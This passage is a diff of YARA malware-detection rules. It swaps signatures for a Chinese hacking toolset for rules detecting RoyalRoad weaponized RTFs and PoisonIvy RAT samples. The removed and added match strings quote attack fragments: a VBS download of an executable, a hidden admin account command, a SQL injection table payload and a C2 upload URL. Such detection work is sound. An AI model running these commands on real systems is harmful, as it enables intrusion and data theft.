+		id = "1677dfb4-7611-5bef-87d1-4cec6285791f"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L845-L860"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ab77ed5804b0394d58717c5f844d9c0da5a9f03e"
-		logic_hash = "3be059627c39e262e7621fce637df21ddcabef91753192cec356f2f8cd58c1a3"
-		score = 70
-		quality = 83
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L113-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b531063d2a5ae36ae4e708a749dcf2cdc4c85fc43769a8525049e6facfca674"
+		score = 80
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = ".exe <ip> [(path]" fullword ascii
-		$s4 = "LogCleaner v" ascii
+		$S1 = "584242eb06424242353533362044606060606060606060616161616161616161616}16161616161" ascii
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_Shell_Brute_Tool : FILE
+rule SIGNATURE_BASE_Royalroad_RTF : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file shell_brute_tool.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "80fd0c9f-0ed9-5308-ac72-65b9b3b47ed1"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "366ec9c3-e6ad-5198-88d5-15aa84a8358f"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L862-L877"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f6903a15453698c35dce841e4d09c542f9480f01"
-		logic_hash = "723fd18e59c0017b67a035ec7c685169c517d673c2bbc8fe93071b8dbd1e606a"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L133-L148"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "20031fe6d6a0b2fad43f7e04bb82321c2ea75193f23194edead7ca530af8ac55"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "http://24hack.com/xyadmin.asp" fullword ascii
-		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$S1 = "objw2180\\objh300" ascii
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		$RTF at 0 and $S1
 }
-rule SIGNATURE_BASE_CN_Honker_Hxdef100 : FILE
+rule SIGNATURE_BASE_Royalroad_RTF_V7 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file hxdef100.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3b931752-85ae-52d0-9deb-1a1b03b39e32"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "9d2af980-a851-533a-b25d-ee52277e319c"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L879-L895"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bf30ccc565ac40073b867d4c7f5c33c6bc1920d6"
-		logic_hash = "49f15482104297f0c57713712a7add49d58007afeefd11151dc5749b755860ba"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L150-L166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "da043123cf72e19295634720196d78bef3af89f44cba795dbbcee4c0f5c8159a"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "BACKDOORSHELL" fullword ascii
-		$s15 = "%tmpdir%" fullword ascii
-		$s16 = "%cmddir%" fullword ascii
+		$v7_1 = "{\\object\\objocx{\\objdata" ascii
+		$v7_2 = "ods0000" ascii
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		$RTF at 0 and all of ($v7*)
 }
-rule SIGNATURE_BASE_CN_Honker_Arp_EMP_V1_0 : FILE
+rule SIGNATURE_BASE_Royalroad_Encode_In_RTF : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Arp EMP v1.0.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "03782e94-4fac-529f-b235-19cdb124d53b"
-		date = "2015-06-23"
+		description = "Detects RoyalRoad weaponized RTF documents"
+		author = "nao_sec"
+		id = "66614152-8f9b-5e62-b6bd-ba0286e66d4d"
+		date = "2020-01-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L897-L911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
-		logic_hash = "457035b1685ac7f1bdccaab0b64bb1ad3ca1bf5e0747222347ced2a11b9b9504"
-		score = 70
+		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_royalroad.yar#L168-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00a703a0d7b3a74ec9bfc8ad0e570ee04b3cb6b7f2c062cc2886b41f6fbea49d"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Arp EMP v1.0.exe" fullword wide
+		$enc_hex_1 = "B0747746"
+		$enc_hex_2 = "B2A66DFF"
+		$enc_hex_3 = "F2A32072"
+		$enc_hex_4 = "B2A46EFF"
+		$enc_hex_1l = "b0747746"
+		$enc_hex_2l = "b2a66Dff"
+		$enc_hex_3l = "f2a32072"
+		$enc_hex_4l = "b2a46eff"
+		$RTF = "{\\rt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		$RTF at 0 and 1 of ($enc_hex*)
 }
-rule SIGNATURE_BASE_CN_Honker_Getwebshell : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_APT : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file GetWebShell.exe"
+		description = "Detects a PoisonIvy APT malware group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "919883f4-af66-5d07-ad41-8cba3e049396"
-		date = "2015-06-23"
+		id = "8d3b8222-8949-57dc-99b7-092189416efd"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L913-L930"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b63b53259260a7a316932c0a4b643862f65ee9f8"
-		logic_hash = "5d6638596607884950e702144416eb6fd3b009c88e4af5f81a50f346d7491c95"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
+		logic_hash = "938df757d1f5ee1028d61dbc2ab76a33c788a44f87cb0d84626420e20bfb5fa4"
 		score = 70
-		quality = 60
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "echo P.Open \"GET\",\"http://www.baidu.com/ma.exe\",0 >>run.vbs" fullword ascii
-		$s5 = "http://127.0.0.1/sql.asp?id=1" fullword wide
-		$s14 = "net user admin$ hack /add" fullword wide
-		$s15 = ";Drop table [hack];create table [dbo].[hack] ([cmd] [image])--" fullword wide
+		$s0 = "pidll.dll" fullword ascii
+		$s1 = "sens32.dll" fullword wide
+		$s3 = "FileDescription" fullword wide
+		$s4 = "OriginalFilename" fullword wide
+		$s5 = "ZwSetInformationProcess" fullword ascii
+		$s9 = "Microsoft Media Device Service Provider" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <70KB and 1 of them
+		uint16(0)==0x5a4d and filesize <47KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Cracker_SHELL : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_APT_2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SHELL.exe"
+		description = "Detects a PoisonIvy Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2249a058-7469-5054-9c51-cb20ef8197ca"
-		date = "2015-06-23"
+		id = "4d64ccd2-add8-5749-8178-f2c5336e1495"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L932-L949"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c1dc349ff44a45712937a8a9518170da8d4ee656"
-		logic_hash = "03da662e8d5dfbae524c4949d90e143714e6c4783e02600e059172e8b09ebc57"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L24-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "333f956bf3d5fc9b32183e8939d135bc0fcc5770"
+		logic_hash = "58d62278d776c9f7c3ae0815aa4b248f85c5fc648405b8d1ba2b8eb2847e1e88"
 		score = 70
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://127.0.0.1/error1.asp" fullword ascii
-		$s2 = "password,PASSWORD,pass,PASS,Lpass,lpass,Password" fullword wide
-		$s3 = "\\SHELL" wide
-		$s4 = "WebBrowser1" fullword ascii
+		$s0 = "pidll.dll" fullword ascii
+		$s1 = "sens32.dll" fullword wide
+		$s2 = "9.0.1.56" fullword wide
+		$s3 = "FileDescription" fullword wide
+		$s4 = "OriginalFilename" fullword wide
+		$s5 = "ZwSetInformationProcess" fullword ascii
+		$s6 = "\"%=%14=" fullword ascii
+		$s7 = "091A1G1R1_1g1u1z1" fullword ascii
+		$s8 = "gHsMZz" fullword ascii
+		$s9 = "Microsoft Media Device Service Provider" fullword wide
+		$s10 = "Copyright (C) Microsoft Corp." fullword wide
+		$s11 = "MFC42.DLL" fullword ascii
+		$s12 = "MSVCRT.dll" fullword ascii
+		$s13 = "SpecialBuild" fullword wide
+		$s14 = "PrivateBuild" fullword wide
+		$s15 = "Comments" fullword wide
+		$s16 = "040904b0" fullword wide
+		$s17 = "LegalTrademarks" fullword wide
+		$s18 = "CreateThread" fullword ascii
+		$s19 = "ntdll.dll" fullword ascii
+		$s20 = "_adjust_fdiv" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <47KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_MSTSC_Can_Direct_Copy : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_APT_3 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file MSTSC_can_direct_copy.EXE"
+		description = "Detects a PoisonIvy Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9155cb6f-14b6-524a-9cb9-1a88f7facf4e"
-		date = "2015-06-23"
-		modified = "2022-12-21"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L951-L968"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2f3cbfd9f82f8abafdb1d33235fa6bfa1e1f71ae"
-		logic_hash = "5437abd979a8df5ee3f8508f7a5fff85714b5d8a22ab1760fe1e7a8168a8c255"
+		id = "e2e0bf75-7704-585f-b2b3-727d14946c76"
+		date = "2015-06-03"
+		modified = "2023-12-05"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L60-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "df3e1668ac20edecc12f2c1a873667ea1a6c3d6a"
+		logic_hash = "96f8324dcf85f5baa64178774abf17516a9e023dd6fa38e2bce0fe5159a4f704"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "srv\\newclient\\lib\\win32\\obj\\i386\\mstsc.pdb" ascii
-		$s2 = "Clear Password" fullword wide
-		$s3 = "/migrate -- migrates legacy connection files that were created with " fullword wide
+		$s0 = "\\notepad.exe" ascii
+		$s1 = "\\RasAuto.dll" ascii
+		$s3 = "winlogon.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Lcx_Lcx : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_APT_4 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - HTRAN - file lcx.exe"
+		description = "Detects a PoisonIvy Sample APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6c2e1e85-6387-5be2-b7b2-5ae8a5cca6df"
-		date = "2015-06-23"
+		id = "02bf546b-99a2-5ffb-8ee7-7bb005ef953b"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L970-L988"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
-		logic_hash = "6e81cac14baa9f0ae35eb26f30291cba6f7ef1864f8970b97a3e6e7205d10eb9"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L79-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "558f0f0b728b6da537e2666fbf32f3c9c7bd4c0c"
+		logic_hash = "7ba10269d31e985dff582ae4103ef1179172ae475e078161864f185380bb5035"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
-		$s2 = "=========== Code by lion & bkbll" ascii
-		$s3 = "Welcome to [url]http://www.cnhonker.com[/url] " ascii
-		$s4 = "-tran   <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
-		$s5 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii
+		$s0 = "Microsoft Software installation Service" fullword wide
+		$s1 = "idll.dll" fullword ascii
+		$s2 = "mgmts.dll" fullword wide
+		$s3 = "Microsoft(R) Windows(R)" fullword wide
+		$s4 = "ServiceMain" fullword ascii
+		$s5 = "Software installation Service" fullword wide
+		$s6 = "SetServiceStatus" fullword ascii
+		$s7 = "OriginalFilename" fullword wide
+		$s8 = "ZwSetInformationProcess" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and 7 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Postgresql : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_5 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file PostgreSQL.exe"
+		description = "Detects PoisonIvy RAT sample set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ae90d03c-ef67-5ece-81ae-86947196a81c"
-		date = "2015-06-23"
+		id = "61f7efd4-745a-5f06-a66d-b4b2a2ecc614"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L990-L1005"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
-		logic_hash = "f6921e7a7c88d70c77fc30dc273aac3679a3c0ab44d4d4706d7a405f16cff6a1"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L103-L123"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "545e261b3b00d116a1d69201ece8ca78d9704eb2"
+		logic_hash = "3f88b673b80b67a110915285a87ead265ad0176ea414426ba55e780e3aa396fe"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "&http://192.168.16.186/details.php?id=1" fullword ascii
-		$s2 = "PostgreSQL_inject" fullword ascii
+		$s0 = "Microsoft Software installation Service" fullword wide
+		$s2 = "pidll.dll" fullword ascii
+		$s3 = "\\mspmsnsv.dll" ascii
+		$s4 = "\\sfc.exe" ascii
+		$s13 = "ServiceMain" fullword ascii
+		$s15 = "ZwSetInformationProcess" fullword ascii
+		$s17 = "LookupPrivilegeValueA" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webrobot : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_6 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file WebRobot.exe"
+		description = "Detects PoisonIvy RAT sample set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8b6350b6-17ea-5f44-a42a-875d55bb2de8"
-		date = "2015-06-23"
+		id = "f364fad0-3684-5500-b21b-396f1e259217"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1007-L1023"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "af054994c911b4301490344fca4bb19a9f394a8f"
-		logic_hash = "7d7fc9fb9156aa20993dcb809f4e1d3d357f6826dcac7e628dbe6e0f81e5a61a"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L126-L164"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d77fd224b8d2dfd506faf0d3e359bf04172cc2854dc737e05c4bf99d0e1f3f7"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8c2630ab9b56c00fd748a631098fa4339f46d42b"
+		hash2 = "36b4cbc834b2f93a8856ff0e03b7a6897fb59bd3"
 
 	strings:
-		$s1 = "%d-%02d-%02d %02d^%02d^%02d ScanReprot.htm" fullword ascii
-		$s2 = "\\log\\ProgramDataFile.dat" ascii
-		$s3 = "\\data\\FilterKeyword.txt" ascii
+		$x1 = "124.133.252.150" fullword ascii
+		$x3 = "http://124.133.254.171/up/up.asp?id=%08x&pcname=%s" fullword ascii
+		$z1 = "\\temp\\si.txt" ascii
+		$z2 = "Daemon Dynamic Link Library" fullword wide
+		$z3 = "Microsoft Windows CTF Loader" fullword wide
+		$z4 = "\\tappmgmts.dll" ascii
+		$z5 = "\\appmgmts.dll" ascii
+		$s0 = "%USERPROFILE%\\AppData\\Local\\Temp\\Low\\ctfmon.log" fullword ascii
+		$s1 = "%USERPROFILE%\\AppData\\Local\\Temp\\ctfmon.tmp" fullword ascii
+		$s2 = "\\temp\\ctfmon.tmp" ascii
+		$s3 = "SOFTWARE\\Classes\\http\\shell\\open\\commandV" fullword ascii
+		$s4 = "CONNECT %s:%i HTTP/1.0" fullword ascii
+		$s5 = "start read histry key" fullword ascii
+		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
+		$s7 = "[password]%s" fullword ascii
+		$s8 = "Daemon.dll" fullword ascii
+		$s9 = "[username]%s" fullword ascii
+		$s10 = "advpack" fullword ascii
+		$s11 = "%s%2.2X" fullword ascii
+		$s12 = "advAPI32" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		( uint16(0)==0x5a4d and 1 of ($x*)) or (8 of ($s*)) or (1 of ($z*) and 3 of ($s*))
 }
-rule SIGNATURE_BASE_CN_Honker_Baidu_Extractor_Ver1_0 : FILE
+rule SIGNATURE_BASE_Poisonivy_Sample_7 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Baidu_Extractor_Ver1.0.exe"
+		description = "Detects PoisonIvy RAT sample set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "94f3c3d8-aa68-5589-b26f-42315634ff30"
-		date = "2015-06-23"
+		id = "01224053-d95e-5144-981b-76cd7e57e1c3"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1025-L1042"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1899f979360e96245d31082e7e96ccedbdbe1413"
-		logic_hash = "cba7357ab3cb840b3b115abe00e1a3a712feb036cae816c8ded10d73029efe2b"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L166-L185"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9480cf544beeeb63ffd07442233eb5c5f0cf03b3"
+		logic_hash = "28db3fb7fa5b5e60ad1d1cc2b6d3d9d30a1948491105439201574ca354eb8bd1"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "\\Users\\Admin" wide
-		$s11 = "soso.com" fullword wide
-		$s12 = "baidu.com" fullword wide
-		$s19 = "cmd /c ping " fullword wide
+		$s0 = "Microsoft Software installation Service" fullword wide
+		$s2 = "pidll.dll" fullword ascii
+		$s10 = "ServiceMain" fullword ascii
+		$s11 = "ZwSetInformationProcess" fullword ascii
+		$s12 = "Software installation Service" fullword wide
+		$s13 = "Microsoft(R) Windows(R) Operating System" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_FTP_Scanning : FILE
+rule SIGNATURE_BASE_Poisonivy_RAT_Ssmuidll : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file FTP_scanning.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "828a0dc8-3748-5c07-a767-4f9e85968ca1"
-		date = "2015-06-23"
+		description = "Detects PoisonIvy RAT DLL mentioned in Palo Alto Blog in April 2016"
+		author = "Florian Roth (Nextron Systems) (with the help of yarGen and Binarly)"
+		id = "f2535b70-cf17-5435-9fc8-2dfdf70d95ac"
+		date = "2016-04-22"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1044-L1061"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5a3543ee5aed110c87cbc3973686e785bcb5c44e"
-		logic_hash = "5f1c312dc9fa80c120699bacd17d5e4c147ab96f90c619a8c39ec27646a1307f"
-		score = 70
+		reference = "http://goo.gl/WiwtYT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_poisonivy.yar#L196-L230"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d048d88cac40f4fe3affee8d9dad35a7347a5459fbdd56b08a77ece4f6c2ac08"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7a424ad3f3106b87e8e82c7125834d7d8af8730a2a97485a639928f66d5f6bf4"
+		hash2 = "6eb7657603edb2b75ed01c004d88087abe24df9527b272605b8517a423557fe6"
+		hash3 = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		hash4 = "8b805f508879ecdc9bba711cfbdd570740c4825b969c1b4db980c134ac8fef1c"
+		hash5 = "ac99d4197e41802ff9f8852577955950332947534d8e2a0e3b6c1dd1715490d4"
 
 	strings:
-		$s1 = "CNotSupportedE" fullword ascii
-		$s2 = "nINet.dll" fullword ascii
-		$s9 = "?=MODULE" fullword ascii
-		$s13 = "MSIE 6*" fullword ascii
+		$s1 = "ssMUIDLL.dll" fullword ascii
+		$op1 = { 6a 00 c6 07 e9 ff d6 }
+		$op2 = { 02 cb 6a 00 88 0f ff d6 47 ff 4d fc 75 }
+		$op3 = { 6a 00 88 7f 02 ff d6 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <550KB and all of them
+		( uint16(0)==0x5a4d and filesize <20KB and ( all of ($op*))) or ( all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Dirdown_Dirdown : FILE
+rule SIGNATURE_BASE_VULN_Confluence_Questions_Plugin_CVE_2022_26138_Jul22_1 : CVE_2022_26138
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file dirdown.exe"
+		description = "Detects properties file of Confluence Questions plugin with static user name and password (backdoor) CVE-2022-26138"
 		author = "Florian Roth (Nextron Systems)"
-		id = "80f98131-79bf-580d-87ad-a54a3f14b301"
-		date = "2015-06-23"
-		modified = "2022-12-21"
